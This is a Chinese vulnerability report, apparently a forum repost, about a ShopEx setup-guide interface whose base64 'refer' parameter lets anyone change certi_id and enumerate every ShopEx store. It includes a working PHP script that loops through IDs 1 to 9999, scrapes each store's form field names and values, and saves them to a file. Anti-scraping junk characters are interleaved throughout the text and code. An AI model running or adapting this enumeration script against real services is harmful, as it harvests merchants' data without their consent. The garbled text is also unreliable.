ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
8 X5 |0 K, A7 S6 Y5 T/ {详细说明：
! X& F  H4 `0 j问题出现在shopex 网店使用向导页面

( r9 V) P( A4 J2 j2 }' M
4 A( K9 K! i) e; P/ G; W8 B5 R
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



  j0 `, A$ ^2 n9 O  O% i5 E0 `/ @5 @refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



) x6 k- V; t8 D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

# b4 L$ z0 Z' Y7 v

<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

8 F; c. P. }7 K% b  p: q' v                }

" g3 y) i8 l8 O9 U( l+ E/ C                function ShowshopExD($cid) {

% T9 d: r5 H; |! L! E                $url='http://guide.ecos.shopex.cn/step2.php';
* |0 Z, ?, h$ f
) ~' u9 ]2 _: X7 E                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

  D4 l  P& ~- v  Z        $ch = curl_init($url);
( q+ @0 G& F7 c$ H! W
3 }" X+ e7 \6 G1 z+ L# h        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
* m$ Q# I" n. }. p1 \
$ l3 L6 l* }0 t4 @. B        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
/ o' \0 `9 [( [* `
' X. i" F% v6 E: Z. R        $result = curl_exec($ch);

  D4 T! n$ V& _        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
1 Z+ q" g9 Q' ?7 I
/ M' g1 W0 E% o# u        if(strpos($result,$refer))

: H5 t# k/ X4 t; c8 T        {
0 l+ x& \+ L3 L5 K' T  L
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
8 v9 K- P2 t- s3 g, t/ B
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
7 o( [; s7 Y4 [* }6 O* u
                foreach ($value[1] as $key) {
, ?! L8 |- C% {2 Q
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
9 w; ]- d" R& j( Z4 s
, d! a$ }& ?9 H  D                        $col =$res[1][0].':'.$res[3][0]."\r\n";
, Z! H0 M$ ~" h+ K( B" x$ |
                        fwrite($fp, $col, strlen($col));

                }
7 k0 H' t1 R" X- j6 P( T
+ P' g2 }7 [4 ?. o* [6 v                echo '--------------------------------'."\r\n";
3 q( K2 I6 |1 S# U3 S) }$ O! D
                fclose($fp);
7 z8 s* X  W& s3 d
        }
' I5 a! Y, }: z5 L( h/ a
# g* P8 i2 i7 {2 a5 R8 `        flush();
: E) w' ]6 J1 p4 A  ~0 u+ Z  B
" _) L7 {+ w* o& N/ l/ p# b        curl_close($ch);

' G* O' j# S) x7 e+ N                }
3 {0 g; q" b; ]% J- s/ X. h
?>
+ u! {* c* n: J* L4 y  C( _+ \漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
" `  g6 R% q: e% Xrefer换成其他加密方式
) r5 C! Q- R0 Y7 ?9 }